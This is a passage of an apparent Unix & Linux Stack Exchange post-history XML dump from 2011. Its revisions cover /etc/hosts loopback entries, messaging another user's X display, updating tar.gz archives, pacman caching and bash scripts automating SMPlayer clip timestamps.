entry.&#xD;&#xA;&#xD;&#xA;But note that it still causes `machinename.domain` to map to `lo`, so it can still cause the problems I mentioned.&#xD;&#xA;&#xD;&#xA;I also just booted up Fedora 15 in a VM and logged into the Gnome desktop, and I couldn't see any TCP/IP connections.  They all seem to be using UNIX sockets.  So perhaps the `127.0.1.1` entry is no longer needed.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Footnotes**&#xD;&#xA;&#xD;&#xA;1. This used to be the case.  On my Fedora 15 test machine, it seems to be using UNIX sockets rather than TCP/IP.&#xD;&#xA;2. Except during system boot before the network has been started.&#xD;&#xA;3. Really &quot;bound&quot; rather than &quot;listening&quot;.&#xD;&#xA;4. Or any 127.x.x.x address." />
  <row Id="32294" PostHistoryTypeId="5" PostId="13087" RevisionGUID="2ce34a0b-73cb-490e-96d1-4ff2d292fbd4" CreationDate="2011-05-13T00:46:27.430" UserId="3169" Comment="added 4 characters in body" Text="**Summary**&#xD;&#xA;&#xD;&#xA;You should have always have&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;&#xD;&#xA;In your case, because you don't have a permanent IP address, you can also have&#xD;&#xA;&#xD;&#xA;    127.0.1.1    machinename.domain machinename&#xD;&#xA;&#xD;&#xA;This line seems to be required for some applications like GNOME, but it might actually cause problems with other applications!&#xD;&#xA;&#xD;&#xA;See [Proposed new scheme for resolving the system hostname](http://lists.debian.org/debian-boot/2005/06/msg00938.html).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Effectively your machine has two host names.&#xD;&#xA;&#xD;&#xA;`localhost.localdomain` is the name used for private communications between two TCP/IP-capable processes running on the same machine.&#xD;&#xA;&#xD;&#xA;`machinename.domain` is the name used for communications between your machine and machines connected to your machine.&#xD;&#xA;&#xD;&#xA;You always want `localhost.localdomain` to point to `127.0.0.1` (and `::1` if you are using IPv6).  That way, all communication between two TCP/IP processes on the same machine will use the `lo` (loopback) interface, which is usually allowed by firewalls such as `iptables`, and nothing has to worry about whether your network is available or whether DNS is working.&#xD;&#xA;&#xD;&#xA;Some applications such as GNOME &lt;sup&gt;1&lt;/sup&gt; try to use your machine's public name for everything, even when talking to the same machine.  This is so that one part of GNOME can talk to another part of GNOME, even if it's running on a different machine on your network.  (The N in GNOME originally stood for &quot;network&quot;.)&#xD;&#xA;&#xD;&#xA;Ideally, your machine's name is known using DNS or some other shared database that other machines can also use to determine your machine's address, so that applications on other machines can talk to your machine.&#xD;&#xA;&#xD;&#xA;But if your machine's name isn't in DNS, or DNS isn't working, programs like GNOME still need a way to talk to itself.&#xD;&#xA;&#xD;&#xA;There have been various ways of modifying `/etc/hosts` to make this work.&#xD;&#xA;&#xD;&#xA;The most common used to be&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;    w.x.y.z      machinename.domain machinename&#xD;&#xA;&#xD;&#xA;where `w.x.y.z` is the address of your primary network interface, e.g. `eth0`.&#xD;&#xA;&#xD;&#xA;That worked OK if your system used a static IP address and was always connected&lt;sup&gt;2&lt;/sup&gt;.&#xD;&#xA;&#xD;&#xA;If your system had a dynamic IP address, various scripts were used to edit `/etc/hosts` to include an entry based on what the DHCP server returned.&#xD;&#xA;&#xD;&#xA;But if your system didn't have a permanent network connection, you couldn't add an entry like that because you didn't have a single reliable address.&#xD;&#xA;&#xD;&#xA;So then people started doing something like&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost machinename.domain machinename&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    127.0.0.1    machinename.domain machinename localhost.localdomain localhost&#xD;&#xA;&#xD;&#xA;That way, processes that use TCP/IP could still talk to other processes on the same machine, even if they looked up the IP address using the machine's name.&#xD;&#xA;&#xD;&#xA;But it broke other applications.&#xD;&#xA;&#xD;&#xA;For example, [`dnsdomainname`](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=247734).&#xD;&#xA;&#xD;&#xA;I also remember there being problems where only people on the same machine could connect to a server because the server was only listening&lt;sup&gt;3&lt;/sup&gt; for connections on the loopback device.&#xD;&#xA;&#xD;&#xA;The program would get the machine's name, then look up the address of name, and use the first address found, and bind to that network interface.  If your machine's name resolved to `127.0.0.1`&lt;sup&gt;4&lt;/sup&gt; address, that meant the service you thought was running on `machinename.domain` (and was thus available to the whole network), was really only available to other processes running on the same machine.&#xD;&#xA;&#xD;&#xA;As Andy points out, the order of the names shouldn't matter.  Something trying to look up the host name for `127.0.0.1` would get the first name as the canonical/official/primary name of the host, but because it would resolve forwards and backwards, I can't think how this would cause any problem, unless there is some automated tool for editing `/etc/hosts` that expects one format or the other.&#xD;&#xA;&#xD;&#xA;But I think you should always have a fully-qualified domain name (i.e. a name that includes a domain name) first as I mentioned in [format of /etc/hosts](http://unix.stackexchange.com/questions/13046/format-of-etc-hosts-on-linux-different-from-windows/13048).&#xD;&#xA;&#xD;&#xA;There is another similar format that uses two lines instead of one, e.g.&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;    127.0.1.1    machinename.domain machinename&#xD;&#xA;&#xD;&#xA;This is a neat trick, because `lo`'s address is really `127.0.0.1/8`, meaning any address in the `127` network is the loopback device.&#xD;&#xA;&#xD;&#xA;I assume this format was used so that tools that need to change the entry for your `machinename.domain` can do so without touching the `127.0.0.1   localhost...` entry.&#xD;&#xA;&#xD;&#xA;But note that it still causes `machinename.domain` to map to `lo`, so it can still cause the problems I mentioned.&#xD;&#xA;&#xD;&#xA;I also just booted up Fedora 15 in a VM and logged into the Gnome desktop, and I couldn't see any TCP/IP connections.  They all seem to be using UNIX sockets.  So perhaps the `127.0.1.1` entry is no longer needed.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Footnotes**&#xD;&#xA;&#xD;&#xA;1. This used to be the case.  On my Fedora 15 test machine, it seems to be using UNIX sockets rather than TCP/IP.&#xD;&#xA;2. Except during system boot before the network has been started.&#xD;&#xA;3. Really &quot;bound&quot; rather than &quot;listening&quot;.&#xD;&#xA;4. Or any 127.x.x.x address." />
  <row Id="32295" PostHistoryTypeId="2" PostId="13088" RevisionGUID="968cd004-0b16-4f0b-948d-6e702e716668" CreationDate="2011-05-13T01:35:00.367" UserId="3169" Text="I'm not 100% sure setting `DISPLAY=:0.0` is going to work.  I think you need a way to get authorized to connect to the X server on your wife's PC.  The tools to do that are `xhost` and `xauth`, but they seem to require you already have access to the X server, so presumably only your wife could run them.  (Chicken and egg problem.)&#xD;&#xA;&#xD;&#xA;Failing that, you might be able to start a second X server, e.g. using `X :1`, or maybe `chvt` can help." />
  <row Id="32296" PostHistoryTypeId="5" PostId="13088" RevisionGUID="97be485e-8d0b-499a-86f9-7097603a1d53" CreationDate="2011-05-13T01:49:30.293" UserId="3169" Comment="added 292 characters in body" Text="I'm not 100% sure setting `DISPLAY=:0.0` is going to work.  I think you need a way to get authorized to connect to the X server on your wife's PC.  The tools to do that are `xhost` and `xauth`, but they seem to require you already have access to the X server, so presumably only your wife could run them.  (Chicken and egg problem.)&#xD;&#xA;&#xD;&#xA;Failing that, you might be able to start a second X server, e.g. using `X :1`, or maybe `chvt` can help.&#xD;&#xA;&#xD;&#xA;For example, something like&#xD;&#xA;&#xD;&#xA;    # X :1&#xD;&#xA;    # export DISPLAY=:1.0&#xD;&#xA;    # xmessage 'hello'&#xD;&#xA;&#xD;&#xA;seems to work on my system if I run it as root.&#xD;&#xA;&#xD;&#xA;`X :1` was started on vt7 on my system, so you could also run&#xD;&#xA;&#xD;&#xA;    # chvt 7&#xD;&#xA;&#xD;&#xA;to be sure that that X display is the one currently visible." />
  <row Id="32297" PostHistoryTypeId="2" PostId="13089" RevisionGUID="cfc9b9a4-abfc-4a81-9a17-724abf0f5d70" CreationDate="2011-05-13T02:59:36.287" UserId="7437" Text="If you need to track your daily activities, track time for clients, or other tasks, you can try using [employee software for time tracking][1]. This is a fantastic tool and good alternative to Wakoopa and Hamster time tracker.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ilovefreesoftware.com/04/windows/business/download-time-doctor-free.html" />
  <row Id="32298" PostHistoryTypeId="5" PostId="11589" RevisionGUID="c9a731d4-af98-4111-8206-5e147eb6c0d4" CreationDate="2011-05-13T03:09:17.640" UserId="663" Comment="SLES11 -&gt;SLES11SP1" Text="I've got a Linux box running SLES11SP1 with 4 NVIDIA GPUs in it, for running CUDA programs. &#xD;&#xA;&#xD;&#xA;If the GPU is accessed by a process running as root, it changes the permissions on /dev/nvidia{0,1,2,3,ctl} to something inaccessible by non-root users. However, this behavior doesn't seem to occur when running on Ubuntu. &#xD;&#xA;&#xD;&#xA;Does anybody know what would cause this behavior on SLES, and how to disable it?" />
  <row Id="32299" PostHistoryTypeId="25" PostId="13078" RevisionGUID="61b508e6-10b5-401f-85cf-4075d8e39409" CreationDate="2011-05-13T03:11:52.630" Comment="http://twitter.com/#!/StackUnix/status/68876082631290880" />
  <row Id="32300" PostHistoryTypeId="2" PostId="13090" RevisionGUID="8bd06db6-f8c7-459a-a67a-e9f7058e5df4" CreationDate="2011-05-13T04:24:54.077" UserId="3032" Text="In pacman, you can actually specify the `cache` directory:&#xD;&#xA;&#xD;&#xA;    --cachedir &lt;dir&gt; set an alternate package cache location&#xD;&#xA;&#xD;&#xA;So if you plug a USB stick into your computer, you can do a full system upgrade the normal way and just toss the downloaded packages onto the stick, like so:&#xD;&#xA;&#xD;&#xA;    pacman -Syu --cache /media/USB_STICK/pacman/&#xD;&#xA;&#xD;&#xA;It doesn't take much space (a normal `1GB` stick will suffice), so it should work fine with your netbook.&#xD;&#xA;&#xD;&#xA;If you have slow internet, you can even create a download list and download the files from another computer, like so:&#xD;&#xA;&#xD;&#xA;    pacman -Syup&#xD;&#xA;&#xD;&#xA;And it will print out a list of package URLs. Quite useful (at least to me)." />
  <row Id="32301" PostHistoryTypeId="2" PostId="13091" RevisionGUID="f452e6d3-10b8-4657-8c8f-ac405bbe0d4e" CreationDate="2011-05-13T04:35:13.810" UserId="2689" Text="I have a flash drive, let's name it FLASH.&#xD;&#xA;&#xD;&#xA;I want, when on my mac, when FLASH is plugged (and automatically mounted), execute a specific script and make ~/Documents to be automatically copied to /Volumes/FLASH/Documents (mac mounts drives at /Volumes).&#xD;&#xA;&#xD;&#xA;This same drive, FLASH, (with this new documents folder), when plugged in an Ubuntu machine, I want to automatically copy FLASH/Documents do ~/Documents (or automatically execute an script, after mounting).&#xD;&#xA;&#xD;&#xA;How should I do this in these different scenarios?" />
  <row Id="32302" PostHistoryTypeId="1" PostId="13091" RevisionGUID="f452e6d3-10b8-4657-8c8f-ac405bbe0d4e" CreationDate="2011-05-13T04:35:13.810" UserId="2689" Text="Sync files from a mac to a flash drive - automatically?" />
  <row Id="32303" PostHistoryTypeId="3" PostId="13091" RevisionGUID="f452e6d3-10b8-4657-8c8f-ac405bbe0d4e" CreationDate="2011-05-13T04:35:13.810" UserId="2689" Text="élinuxàébackupàérsyncàémacà" />
  <row Id="32304" PostHistoryTypeId="2" PostId="13092" RevisionGUID="682fdd62-f5e3-4869-ba8d-d3ccd36e22f6" CreationDate="2011-05-13T05:25:14.117" UserId="7440" Text="If she has a terminal window open (use 'who' to find out) you can write to that terminal using 'write'. This will not work with the main terminal as KDE hides it, but any terminal window should work (if it's on the current desktop, not minimized, she's looking at it ...)." />
  <row Id="32305" PostHistoryTypeId="2" PostId="13093" RevisionGUID="0ba10416-df61-4f2b-a934-39fd5e5d71a0" CreationDate="2011-05-13T05:32:57.360" UserId="5614" Text="Is there a way to add/update a file in a tar.gz archive? Basically, I have an archive which contains a file at `/data/data/com.myapp.backup/./files/settings.txt` and I'd like to pull that file from the archive (already done) and push it back into the archive once the edit has been done. How can I accomplish this? Is it problematic because of the `.` in the path? " />
  <row Id="32306" PostHistoryTypeId="1" PostId="13093" RevisionGUID="0ba10416-df61-4f2b-a934-39fd5e5d71a0" CreationDate="2011-05-13T05:32:57.360" UserId="5614" Text="Add/update a file to an existing tar.gz archive?" />
  <row Id="32307" PostHistoryTypeId="3" PostId="13093" RevisionGUID="0ba10416-df61-4f2b-a934-39fd5e5d71a0" CreationDate="2011-05-13T05:32:57.360" UserId="5614" Text="étaràégzipà" />
  <row Id="32308" PostHistoryTypeId="25" PostId="13093" RevisionGUID="c8fcd62f-a9b3-42da-bd81-3239801a7401" CreationDate="2011-05-13T06:11:53.660" Comment="http://twitter.com/#!/StackUnix/status/68921385027772416" />
  <row Id="32309" PostHistoryTypeId="2" PostId="13094" RevisionGUID="951609ab-2836-460e-a107-b7a61f161bf1" CreationDate="2011-05-13T06:34:52.963" UserId="3629" Text="To pull your file from your archive, you can use `tar xzf archive.tar.gz my/path/to/file.txt`.  Note that the directories in the file's path will be created as well.  Use `tar t` (i.e. `tar tzf archive.tar.gz`) to list the files in the archive.&#xD;&#xA;&#xD;&#xA;`tar` does not support &quot;in-place&quot; updating of files.  However, you can add files to the end of an archive, even if they have the same path as a file already in the archive.  In that case, both copies of the file will be in the archive, and the file added later will override the earlier one.  The command to use for this is `tar r` (or `tar u` to only add files that are newer than the archive) is the command to use.  The `.` in the path should not be a problem.&#xD;&#xA;&#xD;&#xA;There is a catch, though: you can't add to a compressed archive.  So you would have to do:&#xD;&#xA;&#xD;&#xA;    gunzip archive.tar.gz&#xD;&#xA;    tar rf archive.tar data/data/com.myapp.backup/./files/settings.txt&#xD;&#xA;    gzip archive.tar&#xD;&#xA;&#xD;&#xA;Which is probably not what you want to hear, since it means rewriting the entire archive twice over.  If it's not a very large archive, it might be better to untar the whole thing and then re-tar it after editing.  Alternately, you could use an uncompressed archive." />
  <row Id="32310" PostHistoryTypeId="2" PostId="13095" RevisionGUID="f10e3751-3987-436f-9137-0606fbce5815" CreationDate="2011-05-13T06:54:08.953" UserId="7361" Text="get the file name with the most recent timestamp in the current directory:&#xD;&#xA;&#xD;&#xA;`latest ()&#xD;&#xA;{&#xD;&#xA;        ls -lrt | tail -1 | awk '{print $NF}'&#xD;&#xA;}&#xD;&#xA;`" />
  <row Id="32311" PostHistoryTypeId="16" PostId="13095" RevisionGUID="3a9732ec-03f6-473c-b7de-cb434aaae0fe" CreationDate="2011-05-13T06:54:08.953" UserId="7361" />
  <row Id="32312" PostHistoryTypeId="2" PostId="13096" RevisionGUID="f1308124-d92b-4358-bfe1-8251c40b157c" CreationDate="2011-05-13T07:28:27.257" UserId="885" Text="As [Michael Mrozek illustrates](http://unix.stackexchange.com/questions/13085/is-there-a-way-to-communicate-with-someone-at-their-desktop/13086#13086), you can run X applications that display on your wife's desktop. All you need to do is set the `DISPLAY` environment variable to the right value (almost always `:0`)… and get yourself authorized.&#xD;&#xA;&#xD;&#xA;This solution requires that you have permission to read you wife's files. Access to the X server requires an authentication [“cookie”](http://en.wikipedia.org/wiki/X_Window_authorization), which is a password that's randomly generated when X starts and stored in a file. The file is often `~/.Xauthority`; if it's not, it must be indicated in the `XAUTHORITY` environment variable. Under Ubuntu with the default setup (using Gdm), your wife's session cookie is not in `~wife/.Xauthority` but in a file with an automatically generated name; see [ssh DISPLAY variable](http://unix.stackexchange.com/questions/10121/ssh-display-variable/10126#10126). See also [As root can I launch a graphical program on another users desktop?](http://unix.stackexchange.com/questions/1596/as-root-can-i-launch-a-graphical-program-on-another-users-desktop/1600#1600), [Linux: wmctrl cannot open display when session initiated via ssh+screen](http://superuser.com/questions/190801/linux-wmctrl-cannot-open-display-when-session-initiated-via-sshscreen/190878#190878).&#xD;&#xA;&#xD;&#xA;If your wife has a text terminal open, you can use `write` [as suggested by user7440](http://unix.stackexchange.com/questions/13085/is-there-a-way-to-communicate-with-someone-at-their-desktop/13092#13092) to write some text in her terminal. That requires that the terminal accepts such notifications; you can turn this on and off with `mesg y` or `mesg n`, and I don't know what the default state is on modern terminal emulators.&#xD;&#xA;&#xD;&#xA;A more sophisticated mechanism that `write` is [`talk`](http://en.wikipedia.org/wiki/Talk_%28software%29). The talk protocol is the ancestor of chat programs; you can talk with anyone on a machine that's running a talk server and whose UDP port 517 or 518 (there are two protocol variants) isn't filtered. So install [talkd](http://packages.ubuntu.com/talkd) [![Install talkd](http://bit.ly/software-small)](http://apt.ubuntu.com/p/talkd), a client such as [ytalk](http://packages.ubuntu.com/ytalk) [![Install ytalk](http://bit.ly/software-small)](http://apt.ubuntu.com/p/ytalk), and `ytalk wife`. There's also an X client, [xtalk](http://packages.ubuntu.com/xtalk) [![Install xtalk](http://bit.ly/software-small)](http://apt.ubuntu.com/p/xtalk). As far as I know, talk has simply fallen off the radar (everybody who cares uses one of the modern chat procotols), and there's no system component that would generate a KDE notification of a talk request.&#xD;&#xA;&#xD;&#xA;While you say you can't run any IM client… would a command-line IM client running on your home machine accessed through SSH be ok? There are such, for example [weechat](http://packages.ubuntu.com/weechat) [![Install weechat](http://bit.ly/software-small)](http://apt.ubuntu.com/p/weechat). You'd still be depending on the some server to connect you with your wife, but it would only be accessed from your home machine, not from your phone.&#xD;&#xA;" />
  <row Id="32313" PostHistoryTypeId="6" PostId="13085" RevisionGUID="38a8a79b-f98d-494c-801c-28987ec78953" CreationDate="2011-05-13T07:28:52.077" UserId="885" Comment="edited tags" Text="ésshàéxorgàéchatà" />
  <row Id="32314" PostHistoryTypeId="2" PostId="13097" RevisionGUID="bcb1cce6-ec51-4b7e-b3d1-706536ca77ed" CreationDate="2011-05-13T08:44:50.983" UserId="1925" Text="The tar file format is just a series of files concatenated together with a few headers. It's not a very complicated job to rip it apart, put your contents in, and put it back together. That being said, [Jander described][1] how tar as a program does not have the utility functions to do this and there are additional complications with compression, which has to both before and after making a change.&#xD;&#xA;&#xD;&#xA;There are, however, tools for the job! There are at least two system out there which will allow you to to do a loopback mount of a compressed tar archive onto a folder, then make your changes in the file system. When you are done, unmount the folder and your compressed archive is ready to roll.&#xD;&#xA;&#xD;&#xA;The one first option would be the [archivemount][2] project for [FUSE][3]. Here is [a tutorial on that][4]. Your system probably already has FUSE and if it doesn't your distribution should have an option for it.&#xD;&#xA;&#xD;&#xA;The other option is [tarfs][5]. It's [simpler to use][6], but I've heard it has some trouble with corrupting bzip2 archives so you might test that pretty thoroughly  first.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/13093/add-update-a-file-to-an-existing-tar-gz-archive/13094#13094&#xD;&#xA;  [2]: http://www.cybernoia.de/software/archivemount/&#xD;&#xA;  [3]: http://fuse.sourceforge.net/&#xD;&#xA;  [4]: http://www.linux.com/archive/feature/132196&#xD;&#xA;  [5]: http://sourceforge.net/projects/tarfs/&#xD;&#xA;  [6]: http://www.vitanuova.com/inferno/man/4/tarfs.html" />
  <row Id="32315" PostHistoryTypeId="25" PostId="13091" RevisionGUID="25d5cc79-9db4-4e82-bd1d-d0be6c48b7ff" CreationDate="2011-05-13T09:11:53.667" Comment="http://twitter.com/#!/StackUnix/status/68966684391772161" />
  <row Id="32316" PostHistoryTypeId="5" PostId="10090" RevisionGUID="931579c8-3605-459d-8f75-ddd9408588f9" CreationDate="2011-05-13T09:52:24.937" UserId="2343" Comment="A new script fo rtimestamps; added 35 characters in body; added 141 characters in body; deleted 3 characters in body" Text="UPDATE; a new script...  This script won't give you integrated playlist ability, but it will allow you to select and save and modify beginning and ending times within Smplayer, without the need to type anything.   &#xD;&#xA;&#xD;&#xA;This info is saved in a config file, the file-paths of which can be &quot;played&quot; individually, or in grouped in a sequence, via another script (similar to my 'play' script, or like your Emacs scripts)..  &#xD;&#xA; &#xD;&#xA;It works by utilizing Smplayer's `Seek` dialog... `xmacro` manipulates the dialog (I've found that it needs `sleep .3` between xmacro commands)... The times are stored in HH:MM:SS format in a file in `~/.config/smplayer`... The 1st line is the Start-time, the 2nd line is the End-time, and the 3rd line is there for specifying a root directory... This 3rd line is used as an optional path indicator by the folow-up script which modifies an smplayer config setting by priming it with `-ss` and `-endpos`... The timestamps config file is named the same as the media file, with a `.smplay` suffix...  &#xD;&#xA;&#xD;&#xA;So this isn't everything you want, but it may help to set up the times without any typing...   &#xD;&#xA;&#xD;&#xA;Here is the 'get timestamps' script:  &#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    # Bind this script to a key-combination of your choice..&#xD;&#xA;    # It currently responds only to an Smplayer window.  &#xD;&#xA;&#xD;&#xA;    id=$(xdotool getactivewindow)&#xD;&#xA;    title=&quot;$(xwininfo -id &quot;$id&quot; |&#xD;&#xA;      sed -n &quot;2s/^xwininfo: Window id: \(0x[[:xdigit:]]\+\) \x22\(.*\)\x22$/\2/p&quot;)&quot;&#xD;&#xA;  &#xD;&#xA;    if [[ $title =~ ^.*\ -\ SMPlayer$ ]] ; then&#xD;&#xA;      smplayer_d=&quot;$HOME/.config/smplayer&quot;&#xD;&#xA;      clip_d=&quot;$smplayer_d/clips&quot;&#xD;&#xA;      [[ ! -d &quot;$clip_d&quot; ]] &amp;&amp; mkdir -p &quot;$clip_d&quot;&#xD;&#xA;      bname=&quot;${title% - SMPlayer}&quot;&#xD;&#xA;      clip_f=&quot;$clip_d/$bname.smplay&quot; # Same name as video, with '.smplay' suffix&#xD;&#xA;  &#xD;&#xA;      if [[ ! -f &quot;$clip_f&quot; \&#xD;&#xA;          || &quot;$(&lt;&quot;$clip_f&quot; wc -l)&quot; != &quot;3&quot; ]]&#xD;&#xA;      then     # Prime with three defaults&#xD;&#xA;               # FROM     TO      ROOT-dir&#xD;&#xA;        echo -e &quot;0:00:00\n0:00:00\n&quot;     &gt;&quot;$clip_f&quot;&#xD;&#xA;      fi&#xD;&#xA;  &#xD;&#xA;      # Get timestamp, in seconds, of current stream position (from the current window)&#xD;&#xA;      #   using the &quot;Smplayer - seek&quot; dialog, via  Ctrl+j&#xD;&#xA;      sleep .3; echo -n &quot;KeyStrPress Control_L  KeyStrPress j       KeyStrRelease j       KeyStrRelease Control_L&quot; | xmacroplay -d 10 :0.0 &amp;&gt;/dev/null &#xD;&#xA;      sleep .3; echo -n &quot;                       KeyStrPress Home    KeyStrRelease Home                           &quot; | xmacroplay -d 10 :0.0 &amp;&gt;/dev/null &#xD;&#xA;      sleep .3; echo -n &quot;KeyStrPress Shift_L    KeyStrPress End     KeyStrRelease End     KeyStrRelease Shift_L  &quot; | xmacroplay -d 10 :0.0 &amp;&gt;/dev/null &#xD;&#xA;      sleep .3; echo -n &quot;KeyStrPress Control_L  KeyStrPress c       KeyStrRelease c       KeyStrRelease Control_L&quot; | xmacroplay -d 10 :0.0 &amp;&gt;/dev/null&#xD;&#xA;      sleep .3; echo -n &quot;                       KeyStrPress Escape  KeyStrRelease Escape                         &quot; | xmacroplay -d 10 :0.0 &amp;&gt;/dev/null &#xD;&#xA;        seekHMS=&quot;$(xsel -o -b)&quot;&#xD;&#xA;      # Now set config times to defaults (in case of malformed times)&#xD;&#xA;          ssHMS=&quot;0:00:00&quot;&#xD;&#xA;      endposHMS=&quot;0:00:00&quot;&#xD;&#xA;      # Now get config data from config file&#xD;&#xA;      eval &quot;$( sed -ne &quot;1s/^\([0-9]\+\):\([0-5][0-9]\):\([0-5][0-9]\)$/    ssHMS=\&quot;&amp;\&quot;/p&quot; \&#xD;&#xA;                    -e &quot;2s/^\([0-9]\+\):\([0-5][0-9]\):\([0-5][0-9]\)$/endposHMS=\&quot;&amp;\&quot;/p&quot; \&#xD;&#xA;                    -e &quot;3s/.*/   root_d=\&quot;&amp;\&quot;/p&quot; &quot;$clip_f&quot; )&quot;&#xD;&#xA;  &#xD;&#xA;      # Present dialog to set specifick  items.&#xD;&#xA;      REPLY=$(zenity \&#xD;&#xA;       --list --height=310 --width=375 \&#xD;&#xA;       --title=&quot;Set Clip Start / End Time&quot; \&#xD;&#xA;       --text=&quot; Select Clip Start / End  for time:  $seekHMS\n\&#xD;&#xA;           or choose another option\n\&#xD;&#xA;           \tthen click OK&quot; \&#xD;&#xA;       --column=&quot;Position&quot; --column=&quot; &quot; --column=&quot;Current Setting  &quot;  \&#xD;&#xA;                &quot;Clip Start&quot;        &quot; &quot;          &quot;$ssHMS&quot; \&#xD;&#xA;                &quot;Clip End&quot;          &quot; &quot;          &quot;$endposHMS&quot; \&#xD;&#xA;                &quot;UNSET Start&quot;       &quot; &quot;          &quot; &quot; \&#xD;&#xA;                &quot;UNSET End&quot;         &quot; &quot;          &quot; &quot; \&#xD;&#xA;                &quot;* Open directory&quot;  &quot; of&quot;        &quot;config files *&quot; &#xD;&#xA;      ); &#xD;&#xA;      [[ &quot;$REPLY&quot; == &quot;Clip Start&quot;       ]] &amp;&amp; sed -i -e &quot;1 s/.*/$seekHMS/&quot; &quot;$clip_f&quot;&#xD;&#xA;      [[ &quot;$REPLY&quot; == &quot;Clip End&quot;         ]] &amp;&amp; sed -i -e &quot;2 s/.*/$seekHMS/&quot; &quot;$clip_f&quot;&#xD;&#xA;      [[ &quot;$REPLY&quot; == &quot;UNSET Start&quot;      ]] &amp;&amp; sed -i -e &quot;1 s/.*/0:00:00/&quot;  &quot;$clip_f&quot;&#xD;&#xA;      [[ &quot;$REPLY&quot; == &quot;UNSET End&quot;        ]] &amp;&amp; sed -i -e &quot;2 s/.*/0:00:00/&quot;  &quot;$clip_f&quot;&#xD;&#xA;      [[ &quot;$REPLY&quot; == &quot;* Open directory&quot; ]] &amp;&amp; nautilus &quot;$clip_d&quot;&#xD;&#xA;    fi  &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The following script is my original 'play&quot; scrpt. It is independent of the avove Timestamp script, but it wouldn't take much to get them to work together... &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It will 'drive 'Smplayer, which uses mplayer internally.. it is,at least, a normal GUI, but your playlist would need to be in your text editor .. and you obviously know about that method already :)  &#xD;&#xA;&#xD;&#xA;I tried this a couple of years ago, but I'd forgotten all about it as I don't often need such a thing, but it is good to keep &quot;bookmarks&quot;..  I'm glad you've resurrected the idea.. Here is the script... which really only does the same as you have been doing, but to Smplayer (an mplayer GUi) &#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # Summary: &#xD;&#xA;    #   Play one video (only) in 'smplayer', passing -ss and -endpos values to 'mplayer'&#xD;&#xA;    #   It uses 'locate' to get the path of the video (by just its basename)&#xD;&#xA;    #&#xD;&#xA;    # eg:&#xD;&#xA;    #     $1                              $2   $3       $4 &#xD;&#xA;    #     basename                       -ss  -endpos   root &#xD;&#xA;    #     &quot;Titus - The Gorilla King.mp4&quot;  240  30      &quot;$HOME&quot;  # A fascinating documentary of the long reign of a silver-back gorialla&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;    [[ &quot;$2&quot; == &quot;&quot; ]] &amp;&amp; set &quot;$1&quot;  0   &quot;$3&quot;   &quot;$4&quot;&#xD;&#xA;    [[ &quot;$3&quot; == &quot;&quot; ]] &amp;&amp; set &quot;$1&quot; &quot;$2&quot;  36000 &quot;$4&quot;  # 36000 is arbitary (24 hours) &#xD;&#xA;    [[ &quot;$4&quot; == &quot;&quot; ]] &amp;&amp; root=&quot;$HOME&quot; || root=&quot;$4&quot;&#xD;&#xA;&#xD;&#xA;    file=( &quot;$(locate -er &quot;^$root/\(.*/\)*\+$1$&quot;)&quot; )&#xD;&#xA;&#xD;&#xA;    # 1) Tweak 'smplayer.ini' to run 'mplayer' with the specified -ss and -endpos  times&#xD;&#xA;    # 2) Run 'smplayer' to play one video only. The time settings will hold afer exit,  &#xD;&#xA;    #                         so the script waits (backgrounded) for smplayer to exit&#xD;&#xA;    # 3) When 'smplayer' exits, set values to extreme limits:  -ss 0 -endpos 3600 &#xD;&#xA;    #                           or(?): TODO remove the settings enitrely, &#xD;&#xA;    #                                       but that requires a different regex&#xD;&#xA;    a=0 z=36000     &#xD;&#xA;    # &#xD;&#xA;    # -ss &lt;time&gt; (also see -sb)&#xD;&#xA;    # -ss 56       # Seeks to 56 seconds.&#xD;&#xA;    # -ss 01:10:00 #Seeks to 1 hour 10 min.&#xD;&#xA;    #&#xD;&#xA;    # -endpos &lt;[[hh:]mm:]ss[.ms]|size[b|kb|mb]&gt; (also see -ss and -sb)&#xD;&#xA;    #         Stop at given time or byte position.&#xD;&#xA;    #         NOTE: Byte position is enabled only for MEncoder and will not be accurate, as it can only stop at a frame boundary.  &#xD;&#xA;    #         When used in conjunction  with -ss option, -endpos time will shift forward by seconds specified with -ss.&#xD;&#xA;    #        -endpos 56        # Stop at 56 seconds.&#xD;&#xA;    #        -endpos 01:10:00  # Stop at 1 hour 10 minutes.&#xD;&#xA;    # -ss 10 -endpos 56        # Stop at 1 minute 6 seconds.&#xD;&#xA;    #        -endpos 100mb     # Encode only 100 MB.&#xD;&#xA;    #&#xD;&#xA;    #                                                        -ss       0                -endpos       36000                                     &#xD;&#xA;    #              \1                              \2      \3        \4        \5     \6            \7            \8                 &#xD;&#xA;     sed -i -e &quot;s/^\(mplayer_additional_options.*\)\( \|=\)\(-ss \+\)\([^ ]\+\)\( .*\)\(-endpos \+\)\([0-9:mb]\+\)\(.*\)/\1\2\3${2}\5\6${3}\8/&quot;  $HOME/.config/smplayer/smplayer.ini&#xD;&#xA;    (smplayer &quot;$file&quot; &#xD;&#xA;     sed -i -e &quot;s/^\(mplayer_additional_options.*\)\( \|=\)\(-ss \+\)\([^ ]\+\)\( .*\)\(-endpos \+\)\([0-9:mb]\+\)\(.*\)/\1\2\3${a}\5\6${z}\8/&quot;  $HOME/.config/smplayer/smplayer.ini&#xD;&#xA;    )&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;" />
